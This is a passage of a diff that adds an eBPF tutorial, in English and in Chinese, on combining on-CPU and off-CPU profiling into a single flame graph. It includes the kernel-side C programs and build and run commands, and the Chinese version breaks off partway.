time, using two complementary eBPF programs that work together to account for every microsecond of execution. Whether your performance problems come from computation or waiting, you'll be able to spot them in a unified flame graph view. + +> The complete source code: + +## Understanding Wall Clock Profiling + +Wall clock time is the actual elapsed time from start to finish, like checking a stopwatch. For any running process, this time gets divided into two categories. On-CPU time is when your code actively executes on a processor, doing real work. Off-CPU time is when your process exists but isn't running, waiting for something like disk I/O, network packets, or acquiring a lock. + +Traditional CPU profilers only show you the on-CPU story. They sample the stack at regular intervals when your code runs, building a picture of which functions consume CPU cycles. But these profilers are blind to off-CPU time. When your thread blocks on a system call or waits for a mutex, the profiler stops seeing it. This creates a massive blind spot for applications that spend significant time waiting. + +Off-CPU profilers flip the problem around. They track when threads go to sleep and wake up, measuring blocked time and capturing stack traces at blocking points. This reveals I/O bottlenecks and lock contention. But they miss pure computation problems. + +The tools in this tutorial solve both problems by running two eBPF programs simultaneously. The `oncputime` tool samples on-CPU execution using perf events. The `offcputime` tool hooks into the kernel scheduler to catch blocking operations. A Python script combines the results, normalizing the time scales so you can see CPU-intensive code paths (marked red) and blocking operations (marked blue) in the same flame graph. This complete view shows where every microsecond goes. + +Here's an example flame graph showing combined on-CPU and off-CPU profiling results: + +![Combined Wall Clock Flame Graph Example](https://raw.githubusercontent.com/eunomia-bpf/bpf-developer-tutorial/c9d3d65c15fb6528ee378657a05ec0b062eff5b7/src/32-wallclock-profiler/tests/example.svg) + +In this visualization, you can clearly see the distinction between CPU-intensive work (shown in red/warm colors marked with `_[c]`) and blocking operations (shown in blue/cool colors marked with `_[o]`). The relative widths immediately reveal where your application spends its wall clock time. + +## The Tools: oncputime and offcputime + +This tutorial provides two complementary profiling tools. The `oncputime` tool samples your process at regular intervals using perf events, capturing stack traces when code actively runs on the CPU. At a default rate of 49 Hz, it wakes up roughly every 20 milliseconds to record where your program is executing. Higher sample counts in the output indicate more CPU time spent in those code paths. + +The `offcputime` tool takes a different approach. It hooks into the kernel scheduler's context switch mechanism, specifically the `sched_switch` tracepoint. When your thread goes off-CPU, the tool records a timestamp and captures the stack trace showing why it blocked. When the thread returns to running, it calculates how long the thread was sleeping. This directly measures I/O waits, lock contention, and other blocking operations in microseconds. + +Both tools use BPF stack maps to efficiently capture kernel and user space call chains with minimal overhead. They aggregate results by unique stack traces, so repeated execution of the same code path gets summed together. The tools can filter by process ID, thread ID, and various other criteria to focus analysis on specific parts of your application. + +## Implementation: Kernel-Space eBPF Programs + +Let's examine how these tools work at the eBPF level. We'll start with the on-CPU profiler, then look at the off-CPU profiler, and see how they complement each other. + +### On-CPU Profiling with oncputime + +The on-CPU profiler uses perf events to sample execution at regular time intervals. Here's the complete eBPF program: + +```c +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#include +#include +#include +#include +#include "oncputime.h" + +const volatile bool kernel_stacks_only = false; +const volatile bool user_stacks_only = false; +const volatile bool include_idle = false; +const volatile bool filter_by_pid = false; +const volatile bool filter_by_tid = false; + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __type(key, u32); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, u64); + __uint(max_entries, MAX_ENTRIES); +} counts SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_PID_NR); +} pids SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_TID_NR); +} tids SEC(".maps"); + +SEC("perf_event") +int do_perf_event(struct bpf_perf_event_data *ctx) +{ + u64 *valp; + static const u64 zero; + struct key_t key = {}; + u64 id; + u32 pid; + u32 tid; + + id = bpf_get_current_pid_tgid(); + pid = id >> 32; + tid = id; + + if (!include_idle && tid == 0) + return 0; + + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return 0; + + if (filter_by_tid && !bpf_map_lookup_elem(&tids, &tid)) + return 0; + + key.pid = pid; + bpf_get_current_comm(&key.name, sizeof(key.name)); + + if (user_stacks_only) + key.kern_stack_id = -1; + else + key.kern_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, 0); + + if (kernel_stacks_only) + key.user_stack_id = -1; + else + key.user_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, + BPF_F_USER_STACK); + + valp = bpf_map_lookup_or_try_init(&counts, &key, &zero); + if (valp) + __sync_fetch_and_add(valp, 1); + + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +The program starts by defining several BPF maps. The `stackmap` is a special map type for storing stack traces. When you call `bpf_get_stackid()`, the kernel walks the stack and stores the instruction pointers in this map, returning an ID you can use to look it up later. The `counts` map aggregates samples by a composite key that includes both the process ID and the stack IDs. The `pids` and `tids` maps act as filters, letting you restrict profiling to specific processes or threads. + +The main logic lives in the `do_perf_event()` function, which runs every time a perf event fires. The user space program sets up these perf events at a specific frequency (default 49 Hz), one per CPU core. When a CPU triggers its timer, this function executes on whatever process happens to be running at that moment. It first extracts the process and thread IDs from the current task, then applies any configured filters. If the current thread should be sampled, it builds a key structure that includes the process name and stack traces. + +The two calls to `bpf_get_stackid()` capture different pieces of the execution context. The first call without flags gets the kernel stack, showing what kernel functions were active. The second call with `BPF_F_USER_STACK` gets the user space stack, showing your application's function calls. These stack IDs go into the key, and the program increments a counter for that unique combination. Over time, hot code paths get sampled more frequently, building up higher counts. + +### Off-CPU Profiling with offcputime + +The off-CPU profiler hooks into the scheduler to measure blocking time. Here's the complete eBPF program: + +```c +// SPDX-License-Identifier: GPL-2.0 +#include +#include +#include +#include +#include "offcputime.h" + +#define PF_KTHREAD 0x00200000 + +const volatile bool kernel_threads_only = false; +const volatile bool user_threads_only = false; +const volatile __u64 max_block_ns = -1; +const volatile __u64 min_block_ns = 0; +const volatile bool filter_by_tgid = false; +const volatile bool filter_by_pid = false; +const volatile long state = -1; + +struct internal_key { + u64 start_ts; + struct key_t key; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, struct internal_key); + __uint(max_entries, MAX_ENTRIES); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __uint(key_size, sizeof(u32)); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, struct val_t); + __uint(max_entries, MAX_ENTRIES); +} info SEC(".maps"); + +static bool allow_record(struct task_struct *t) +{ + u32 tgid = BPF_CORE_READ(t, tgid); + u32 pid = BPF_CORE_READ(t, pid); + + if (filter_by_tgid && !bpf_map_lookup_elem(&tgids, &tgid)) + return false; + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return false; + if (user_threads_only && (BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + else if (kernel_threads_only && !(BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + if (state != -1 && get_task_state(t) != state) + return false; + return true; +} + +static int handle_sched_switch(void *ctx, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + struct internal_key *i_keyp, i_key; + struct val_t *valp, val; + s64 delta; + u32 pid; + + if (allow_record(prev)) { + pid = BPF_CORE_READ(prev, pid); + if (!pid) + pid = bpf_get_smp_processor_id(); + i_key.key.pid = pid; + i_key.key.tgid = BPF_CORE_READ(prev, tgid); + i_key.start_ts = bpf_ktime_get_ns(); + + if (BPF_CORE_READ(prev, flags) & PF_KTHREAD) + i_key.key.user_stack_id = -1; + else + i_key.key.user_stack_id = bpf_get_stackid(ctx, &stackmap, BPF_F_USER_STACK); + i_key.key.kern_stack_id = bpf_get_stackid(ctx, &stackmap, 0); + bpf_map_update_elem(&start, &pid, &i_key, 0); + bpf_probe_read_kernel_str(&val.comm, sizeof(prev->comm), BPF_CORE_READ(prev, comm)); + val.delta = 0; + bpf_map_update_elem(&info, &i_key.key, &val, BPF_NOEXIST); + } + + pid = BPF_CORE_READ(next, pid); + i_keyp = bpf_map_lookup_elem(&start, &pid); + if (!i_keyp) + return 0; + delta = (s64)(bpf_ktime_get_ns() - i_keyp->start_ts); + if (delta < 0) + goto cleanup; + if (delta < min_block_ns || delta > max_block_ns) + goto cleanup; + delta /= 1000U; + valp = bpf_map_lookup_elem(&info, &i_keyp->key); + if (!valp) + goto cleanup; + __sync_fetch_and_add(&valp->delta, delta); + +cleanup: + bpf_map_delete_elem(&start, &pid); + return 0; +} + +SEC("tp_btf/sched_switch") +int BPF_PROG(sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + return handle_sched_switch(ctx, preempt, prev, next); +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +The off-CPU profiler is more complex because it needs to track timing across multiple events. The `start` map stores timestamps and stack information for threads that go off-CPU. When a thread blocks, we record when it happened and why (the stack trace). When that same thread returns to running, we calculate how long it was blocked. + +The scheduler switch happens many times per second on a busy system, so performance matters. The `allow_record()` function quickly filters out threads we don't care about before doing expensive operations. If a thread passes the filter, the program captures the current timestamp using `bpf_ktime_get_ns()` and records the stack traces showing where the thread blocked. + +The key insight is in the two-stage approach. The `prev` task (the thread going off-CPU) gets its blocking point recorded with a timestamp. When the scheduler later switches to the `next` task (a thread waking up), we look up whether we previously recorded this thread going to sleep. If we find a record, we calculate the delta between now and when it went to sleep. This delta is the off-CPU time in nanoseconds, which we convert to microseconds and add to the accumulated total for that stack trace. + +### User-Space Programs: Loading and Processing + +Both tools follow a similar pattern in user space. They use libbpf to load the compiled eBPF object file and attach it to the appropriate event. For `oncputime`, this means setting up perf events at the desired sampling frequency. For `offcputime`, it means attaching to the scheduler tracepoint. The user space programs then periodically read the BPF maps, resolve the stack IDs to actual function names using symbol tables, and format the output. + +The symbol resolution is handled by the blazesym library, which parses DWARF debug information from binaries. When you see a stack trace with function names and line numbers, that's blazesym converting raw instruction pointer addresses into human-readable form. The user space programs output in "folded" format, where each line contains a semicolon-separated stack trace followed by a count or time value. This format feeds directly into flame graph generation tools. + +## Combining On-CPU and Off-CPU Profiles + +The real power comes from running both tools together and merging their results. The `wallclock_profiler.py` script orchestrates this process. It launches both profilers simultaneously on the target process, waits for them to complete, and then combines their outputs. + +The challenge is that the two tools measure different things in different units. The on-CPU profiler counts samples (49 per second by default), while the off-CPU profiler measures microseconds. To create a unified view, the script normalizes the off-CPU time to equivalent sample counts. If sampling at 49 Hz, each sample represents about 20,408 microseconds of potential execution time. The script divides off-CPU microseconds by this value to get equivalent samples. + +After normalization, the script adds annotations to distinguish the two types of time. On-CPU stack traces get a `_[c]` suffix (for compute), while off-CPU stacks get `_[o]` (for off-CPU or blocking). A custom color palette in the flame graph tool renders these different colors, red for CPU time and blue for blocking time. The result is a single flame graph where you can see both types of activity and their relative magnitudes. + +The script also handles multi-threaded applications by profiling each thread separately. It detects threads at startup, launches parallel profiling sessions for each one, and generates individual flame graphs showing per-thread behavior. This helps identify which threads are busy versus idle, and whether your parallelism is effective. + +## Compilation and Execution + +Building the tools requires a standard eBPF development environment. The tutorial repository includes all dependencies in the `src/third_party/` directory. To build: + +```bash +cd src/32-wallclock-profiler +make +``` + +The Makefile compiles the eBPF C code with clang, generates skeletons with bpftool, builds the blazesym symbol resolver, and links everything with libbpf to create the final executables. + +To use the individual tools: + +```bash +# Profile on-CPU execution for 30 seconds +sudo ./oncputime -p -F 99 30 + +# Profile off-CPU blocking for 30 seconds +sudo ./offcputime -p -m 1000 30 + +# Use the combined profiler (recommended) +sudo python3 wallclock_profiler.py -d 30 -f 99 +``` + +Let's try profiling a test program that does both CPU work and blocking I/O: + +```bash +# Build and run the test program +cd tests +make +./test_combined & +TEST_PID=$! + +# Profile it with the combined profiler +cd .. +sudo python3 wallclock_profiler.py $TEST_PID -d 30 + +# This generates: +# - combined_profile_pid_.folded (raw data) +# - combined_profile_pid_.svg (flame graph) +# - combined_profile_pid__single_thread_analysis.txt (time breakdown) +``` + +The output flame graph will show red frames for the `cpu_work()` function consuming CPU time, and blue frames for the `blocking_work()` function spending time in sleep. The relative widths show how much wall clock time each consumes. + +For multi-threaded applications, the profiler creates a directory with per-thread results: + +```bash +# Profile a multi-threaded application +sudo python3 wallclock_profiler.py -d 30 + +# Output in multithread_combined_profile_pid_/ +# - thread__main.svg (main thread flame graph) +# - thread__.svg (worker thread flame graphs) +# - *_thread_analysis.txt (time analysis for all threads) +``` + +The analysis files show time accounting, letting you verify that on-CPU plus off-CPU time adds up correctly to the wall clock profiling duration. Coverage percentages help identify if threads are mostly idle or if you're missing data. + +## Interpreting the Results + +When you open the flame graph SVG in a browser, each horizontal box represents a function in a stack trace. The width shows how much time was spent there. Boxes stacked vertically show the call chain, with lower boxes calling higher ones. Red boxes indicate on-CPU time, blue boxes show off-CPU time. + +Look for wide red sections to find CPU bottlenecks. These are functions burning through cycles in tight loops or expensive algorithms. Wide blue sections indicate blocking operations. Common patterns include file I/O (read/write system calls), network operations (recv/send), and lock contention (futex calls). + +The flame graph is interactive. Click any box to zoom in and see details about that subtree. The search function lets you highlight all frames matching a pattern, useful for finding specific functions or libraries. Hovering shows the full function name and exact sample count or time value. + +Pay attention to the relative proportions. An application that's 90% blue is I/O bound and probably won't benefit much from CPU optimization. One that's mostly red is CPU bound. Applications split evenly between red and blue might benefit from overlapping computation and I/O, such as using asynchronous I/O or threading. + +For multi-threaded profiles, compare the per-thread flame graphs. Ideally, worker threads should show similar patterns if the workload is balanced. If one thread is mostly red while others are mostly blue, you might have load imbalance. If all threads show lots of blue time in futex waits with similar stacks, that's lock contention. + +## Related Work and Further Reading + +Wall-clock profiling builds on decades of research in performance analysis that distinguishes on-CPU computation from off-CPU waiting. Curtsinger and Berger's Coz (ASPLOS'15) introduced causal profiling, which experimentally determines which code regions, if optimized, actually reduce end-to-end latency—addressing the fundamental question of where optimization effort pays off. Zhou et al.'s wPerf (OSDI'18) presented a generic off-CPU analysis framework that identifies critical waiting events (locks, I/O) bounding throughput with low overhead, while the more recent work by Ahn et al. (OSDI'24) unified on- and off-CPU analysis through blocked-sample profiling that captures both running and blocked thread states. The visualization techniques we employ draw from Gregg's flame graph methodology (CACM'16, USENIX ATC'17), which transforms stack-trace aggregations into intuitive hierarchical diagrams; his off-CPU flame graphs specifically highlight blocking patterns by rendering sleep stacks in contrasting colors. Timing accuracy itself poses challenges, as Najafi et al. (HotOS'21) argue that modern systems research increasingly depends on precise wall-clock measurements, and earlier work on time-sensitive Linux (Goel et al., OSDI'02) explored kernel techniques for low-latency timing under load. Practical eBPF-based profiling has been demonstrated in production contexts, including Java profiling with off-CPU "offwaketime" analysis (ICPE'19) and comprehensive workflows outlined in recent eBPF performance tutorials (Gregg, SIGCOMM'24). Together, these techniques and tools provide the foundation for understanding where applications spend time and how to optimize holistically across both compute and blocking dimensions. + +## Summary + +Wall clock profiling with eBPF gives you complete visibility into application performance by combining on-CPU and off-CPU analysis. The on-CPU profiler samples execution to find hot code paths that consume CPU cycles. The off-CPU profiler hooks into the scheduler to measure blocking time and identify I/O bottlenecks or lock contention. Together, they account for every microsecond of wall clock time, showing where your application actually spends its life. + +The tools use eBPF's low-overhead instrumentation to collect this data with minimal impact on the target application. Stack trace capture and aggregation happen in the kernel, avoiding expensive context switches. The user space programs only need to periodically read accumulated results and resolve symbols, making the overhead negligible even for production use. + +By visualizing both types of time in a single flame graph with color coding, you can quickly identify whether problems are computational or blocking in nature. This guides optimization efforts more effectively than traditional profiling approaches that only show one side of the picture. Multi-threaded profiling support reveals parallelism issues and thread-level bottlenecks. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## Reference + +- BCC libbpf-tools offcputime: +- BCC libbpf-tools profile: +- Blazesym symbol resolution: +- FlameGraph visualization: +- "Off-CPU Analysis" by Brendan Gregg: +- Coz: Finding Code that Counts with Causal Profiling (ASPLOS'15): +- wPerf: Generic Off-CPU Analysis (OSDI'18): +- Identifying On-/Off-CPU Bottlenecks with Blocked Samples (OSDI'24): +- The Flame Graph (CACM'16): +- Systems Research is Running out of Time (HotOS'21): +- Time-Sensitive Linux (OSDI'02): +- Profiling and Tracing Support for Java Applications (ICPE'19): +- eBPF Performance Analysis (SIGCOMM'24): + +> The original link of this article: diff --git a/src/32-wallclock-profiler/README.zh.md b/src/32-wallclock-profiler/README.zh.md new file mode 100644 index 00000000..09e5be18 --- /dev/null +++ b/src/32-wallclock-profiler/README.zh.md @@ -0,0 +1,376 @@ +# eBPF 开发实践教程:示例 32 - 结合 On-CPU 和 Off-CPU 分析的挂钟时间分析 + +性能瓶颈可能隐藏在两个截然不同的地方。你的代码可能在热循环中消耗 CPU 周期,也可能在空闲地等待 I/O、网络响应或锁竞争。传统的性能分析工具通常只关注故事的一面。但如果你能同时看到两者呢? + +本教程介绍了一个完整的挂钟时间分析解决方案,它结合了 on-CPU 和 off-CPU 分析,使用 eBPF 技术实现。我们将展示如何捕获应用程序时间消耗的完整图景,使用两个互补的 eBPF 程序协同工作,追踪执行过程中的每一微秒。无论性能问题来自计算还是等待,你都能在统一的火焰图视图中发现它们。 + +> 完整源代码: + +## 理解挂钟时间分析 + +挂钟时间是从开始到结束的实际经过时间,就像看秒表一样。对于任何运行的进程,这段时间分为两类。On-CPU 时间是指代码在处理器上主动执行、完成实际工作的时间。Off-CPU 时间是指进程存在但未运行,等待某些事件(如磁盘 I/O、网络数据包或获取锁)的时间。 + +传统的 CPU 分析器只展示 on-CPU 的故事。它们在代码运行时以固定间隔采样调用栈,构建出哪些函数消耗 CPU 周期的图景。但这些分析器对 off-CPU 时间视而不见。当你的线程在系统调用上阻塞或等待互斥锁时,分析器就看不到它了。这为那些花费大量时间等待的应用程序创造了巨大的盲点。 + +Off-CPU 分析器则反其道而行之。它们跟踪线程何时休眠和唤醒,测量阻塞时间并在阻塞点捕获调用栈。这揭示了 I/O 瓶颈和锁竞争问题。但它们错过了纯计算问题。 + +本教程中的工具通过同时运行两个 eBPF 程序解决了这两个问题。`oncputime` 工具使用 perf 事件采样 on-CPU 执行。`offcputime` 工具挂钩到内核调度器以捕获阻塞操作。一个 Python 脚本组合结果,对时间尺度进行标准化,这样你就能在同一个火焰图中看到 CPU 密集型代码路径(标记为红色)和阻塞操作(标记为蓝色)。这个完整的视图展示了每一微秒的去向。 + +下面是一个结合 on-CPU 和 off-CPU 分析结果的示例火焰图: + +![结合挂钟时间火焰图示例](https://raw.githubusercontent.com/eunomia-bpf/bpf-developer-tutorial/c9d3d65c15fb6528ee378657a05ec0b062eff5b7/src/32-wallclock-profiler/tests/example.svg) + +在这个可视化中,你可以清楚地看到 CPU 密集型工作(以红色/暖色显示,标记为 `_[c]`)和阻塞操作(以蓝色/冷色显示,标记为 `_[o]`)之间的区别。相对宽度立即揭示了应用程序在哪里花费了挂钟时间。 + +## 工具: oncputime 和 offcputime + +本教程提供两个互补的分析工具。`oncputime` 工具使用 perf 事件以固定间隔采样你的进程,在代码主动在 CPU 上运行时捕获调用栈。默认速率为 49 Hz,大约每 20 毫秒唤醒一次以记录程序执行位置。输出中的采样计数越高,表示在这些代码路径上花费的 CPU 时间越多。 + +`offcputime` 工具采用不同的方法。它挂钩到内核调度器的上下文切换机制,具体来说是 `sched_switch` 追踪点。当线程离开 CPU 时,工具记录时间戳并捕获显示阻塞原因的调用栈。当线程恢复运行时,它计算线程休眠的时长。这直接测量 I/O 等待、锁竞争和其他以微秒为单位的阻塞操作。 + +两个工具都使用 BPF 栈映射以最小的开销高效地捕获内核和用户空间调用链。它们按唯一的调用栈聚合结果,因此同一代码路径的重复执行会被累加在一起。这些工具可以按进程 ID、线程 ID 和各种其他条件进行过滤,以便将分析集中在应用程序的特定部分。 + +## 实现: 内核空间 eBPF 程序 + +让我们在 eBPF 层面检查这些工具的工作原理。我们将从 on-CPU 分析器开始,然后看看 off-CPU 分析器,以及它们如何互补。 + +### 使用 oncputime 进行 On-CPU 分析 + +On-CPU 分析器使用 perf 事件以固定时间间隔采样执行。这是完整的 eBPF 程序: + +```c +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#include +#include +#include +#include +#include "oncputime.h" + +const volatile bool kernel_stacks_only = false; +const volatile bool user_stacks_only = false; +const volatile bool include_idle = false; +const volatile bool filter_by_pid = false; +const volatile bool filter_by_tid = false; + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __type(key, u32); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, u64); + __uint(max_entries, MAX_ENTRIES); +} counts SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_PID_NR); +} pids SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_TID_NR); +} tids SEC(".maps"); + +SEC("perf_event") +int do_perf_event(struct bpf_perf_event_data *ctx) +{ + u64 *valp; + static const u64 zero; + struct key_t key = {}; + u64 id; + u32 pid; + u32 tid; + + id = bpf_get_current_pid_tgid(); + pid = id >> 32; + tid = id; + + if (!include_idle && tid == 0) + return 0; + + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return 0; + + if (filter_by_tid && !bpf_map_lookup_elem(&tids, &tid)) + return 0; + + key.pid = pid; + bpf_get_current_comm(&key.name, sizeof(key.name)); + + if (user_stacks_only) + key.kern_stack_id = -1; + else + key.kern_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, 0); + + if (kernel_stacks_only) + key.user_stack_id = -1; + else + key.user_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, + BPF_F_USER_STACK); + + valp = bpf_map_lookup_or_try_init(&counts, &key, &zero); + if (valp) + __sync_fetch_and_add(valp, 1); + + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +程序首先定义几个 BPF 映射。`stackmap` 是用于存储调用栈跟踪的特殊映射类型。当你调用 `bpf_get_stackid()` 时,内核会遍历栈并将指令指针存储在此映射中,返回一个 ID 供你稍后查找。`counts` 映射按包含进程 ID 和栈 ID 的复合键聚合样本。`pids` 和 `tids` 映射充当过滤器,让你可以将分析限制在特定进程或线程上。 + +主要逻辑位于 `do_perf_event()` 函数中,该函数在每次 perf 事件触发时运行。用户空间程序以特定频率(默认 49 Hz)为每个 CPU 核心设置这些 perf 事件。当 CPU 触发其定时器时,此函数在当时正在运行的任何进程上执行。它首先从当前任务中提取进程和线程 ID,然后应用任何配置的过滤器。如果当前线程应该被采样,它会构建一个包含进程名称和调用栈的键结构。 + +两次对 `bpf_get_stackid()` 的调用捕获执行上下文的不同部分。第一次调用没有标志,获取内核栈,显示哪些内核函数处于活动状态。第二次调用带有 `BPF_F_USER_STACK`,获取用户空间栈,显示应用程序的函数调用。这些栈 ID 进入键中,程序为该唯一组合递增计数器。随着时间推移,热代码路径被更频繁地采样,累积更高的计数。 + +### 使用 offcputime 进行 Off-CPU 分析 + +Off-CPU 分析器挂钩到调度器以测量阻塞时间。这是完整的 eBPF 程序: + +```c +// SPDX-License-Identifier: GPL-2.0 +#include +#include +#include +#include +#include "offcputime.h" + +#define PF_KTHREAD 0x00200000 + +const volatile bool kernel_threads_only = false; +const volatile bool user_threads_only = false; +const volatile __u64 max_block_ns = -1; +const volatile __u64 min_block_ns = 0; +const volatile bool filter_by_tgid = false; +const volatile bool filter_by_pid = false; +const volatile long state = -1; + +struct internal_key { + u64 start_ts; + struct key_t key; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, struct internal_key); + __uint(max_entries, MAX_ENTRIES); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __uint(key_size, sizeof(u32)); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, struct val_t); + __uint(max_entries, MAX_ENTRIES); +} info SEC(".maps"); + +static bool allow_record(struct task_struct *t) +{ + u32 tgid = BPF_CORE_READ(t, tgid); + u32 pid = BPF_CORE_READ(t, pid); + + if (filter_by_tgid && !bpf_map_lookup_elem(&tgids, &tgid)) + return false; + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return false; + if (user_threads_only && (BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + else if (kernel_threads_only && !(BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + if (state != -1 && get_task_state(t) != state) + return false; + return true; +} + +static int handle_sched_switch(void *ctx, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + struct internal_key *i_keyp, i_key; + struct val_t *valp, val; + s64 delta; + u32 pid; + + if (allow_record(prev)) { + pid = BPF_CORE_READ(prev, pid); + if (!pid) + pid = bpf_get_smp_processor_id(); + i_key.key.pid = pid; + i_key.key.tgid = BPF_CORE_READ(prev, tgid); + i_key.start_ts = bpf_ktime_get_ns(); + + if (BPF_CORE_READ(prev, flags) & PF_KTHREAD) + i_key.key.user_stack_id = -1; + else + i_key.key.user_stack_id = bpf_get_stackid(ctx, &stackmap, BPF_F_USER_STACK); + i_key.key.kern_stack_id = bpf_get_stackid(ctx, &stackmap, 0); + bpf_map_update_elem(&start, &pid, &i_key, 0); + bpf_probe_read_kernel_str(&val.comm, sizeof(prev->comm), BPF_CORE_READ(prev, comm)); + val.delta = 0; + bpf_map_update_elem(&info, &i_key.key, &val, BPF_NOEXIST); + } + + pid = BPF_CORE_READ(next, pid); + i_keyp = bpf_map_lookup_elem(&start, &pid); + if (!i_keyp) + return 0; + delta = (s64)(bpf_ktime_get_ns() - i_keyp->start_ts); + if (delta < 0) + goto cleanup; + if (delta < min_block_ns || delta > max_block_ns) + goto cleanup; + delta /= 1000U; + valp = bpf_map_lookup_elem(&info, &i_keyp->key); + if (!valp) + goto cleanup; + __sync_fetch_and_add(&valp->delta, delta); + +cleanup: + bpf_map_delete_elem(&start, &pid); + return 0; +} + +SEC("tp_btf/sched_switch") +int BPF_PROG(sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + return handle_sched_switch(ctx, preempt, prev, next); +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +Off-CPU 分析器更复杂,因为它需要跨多个事件跟踪时间。`start` 映射存储离开 CPU 的线程的时间戳和栈信息。当线程阻塞时,我们记录何时发生以及为什么(调用栈)。当同一线程恢复运行时,我们计算它阻塞了多长时间。 + +调度器切换在繁忙系统上每秒发生多次,因此性能很重要。`allow_record()` 函数在执行昂贵操作之前快速过滤掉我们不关心的线程。如果线程通过过滤器,程序使用 `bpf_ktime_get_ns()` 捕获当前时间戳,并记录显示线程阻塞位置的调用栈。 + +关键洞察在于两阶段方法。`prev` 任务(离开 CPU 的线程)的阻塞点被记录,带有时间戳。当调度器稍后切换到 `next` 任务(唤醒的线程)时,我们查找是否之前记录了这个线程进入睡眠。如果找到记录,我们计算现在与它进入睡眠时之间的差值。这个差值就是以纳秒为单位的 off-CPU 时间,我们将其转换为微秒并添加到该调用栈的累积总数中。 + +### 用户空间程序: 加载和处理 + +两个工具在用户空间遵循类似的模式。它们使用 libbpf 加载编译的 eBPF 目标文件并将其附加到适当的事件。对于 `oncputime`,这意味着以所需的采样频率设置 perf 事件。对于 `offcputime`,这意味着附加到调度器追踪点。然后用户空间程序定期读取 BPF 映射,使用符号表将栈 ID 解析为实际函数名,并格式化输出。 + +符号解析由 blazesym 库处理,该库解析二进制文件中的 DWARF 调试信息。当你看到带有函数名和行号的调用栈时,那就是 blazesym 将原始指令指针地址转换为人类可读形式。用户空间程序以"折叠"格式输出,其中每行包含一个分号分隔的调用栈,后跟计数或时间值。这种格式直接输入到火焰图生成工具。 + +## 组合 On-CPU 和 Off-CPU 配置文件 + +真正的力量来自于将两个工具一起运行并合并它们的结果。`wallclock_profiler.py` 脚本编排这个过程。它在目标进程上同时启动两个分析器,等待它们完成,然后组合它们的输出。 + +挑战在于这两个工具以不同的单位测量不同的东西。On-CPU 分析器计数样本(默认每秒 49 个),而 off-CPU 分析器测量微秒。为了创建统一视图,脚本将 off-CPU 时间标准化为等效的样本计数。如果以 49 Hz 采样,每个样本代表约 20,408 微秒的潜在执行时间。脚本将 off-CPU 微秒除以此值以获得等效样本。 + +标准化后,脚本添加注释以区分两种类型的时间。On-CPU 调用栈获得 `_[c]` 后缀(表示计算),而 off-CPU 栈获得 `_[o]`(表示 off-CPU 或阻塞)。火焰图工具中的自定义调色板以不同颜色渲染这些,CPU 时间为红色,阻塞时间为蓝色。结果是一个单一的火焰图,你可以看到两种类型的活动及其相对幅度。 + +脚本还通过分别分析每个线程来处理多线程应用程序。它在启动时检测线程,为每个线程启动并行分析会话,并生成显示每个线程行为的单独火焰图。这有助于识别哪些线程忙碌,哪些空闲,以及你的并行性是否有效。 + +## 编译和执行 + +构建工具需要标准的 eBPF 开发环境。教程仓库在 `src/third_party/` 目录中包含所有依赖项。要构建: + +```bash +cd src/32-wallclock-profiler +make +``` + +Makefile 使用 clang 编译 eBPF C 代码,使用 bpftool 生成骨架,构建 blazesym 符号解析器,并将所有内容与 libbpf 链接以创建最终可执行文件。 + +使用单独的工具: + +```bash +# 分析 30 秒的 on-CPU 执行 +sudo ./oncputime -p -F 99 30 + +# 分析 30 秒的 off-CPU 阻塞 +sudo ./offcputime -p -m 1000 30 + +# 使用组合分析器(推荐) +sudo python3 wallclock_profiler.py -d 30 -f 99 +``` + +让我们尝试分析一个同时执行 CPU 工作和阻塞 I/O 的测试程序: + +```bash +# 构建并运行测试程序 +cd tests +make +./test_combined & +TEST_PID=$! + +# 使用组合分析器分析它 +cd .. +sudo python3 wallclock_profiler.py $TEST_PID -d 30 + +# 这会生成: +# - combined_profile_pid_.folded (原始数据) +# - combined_profile_pid_.svg 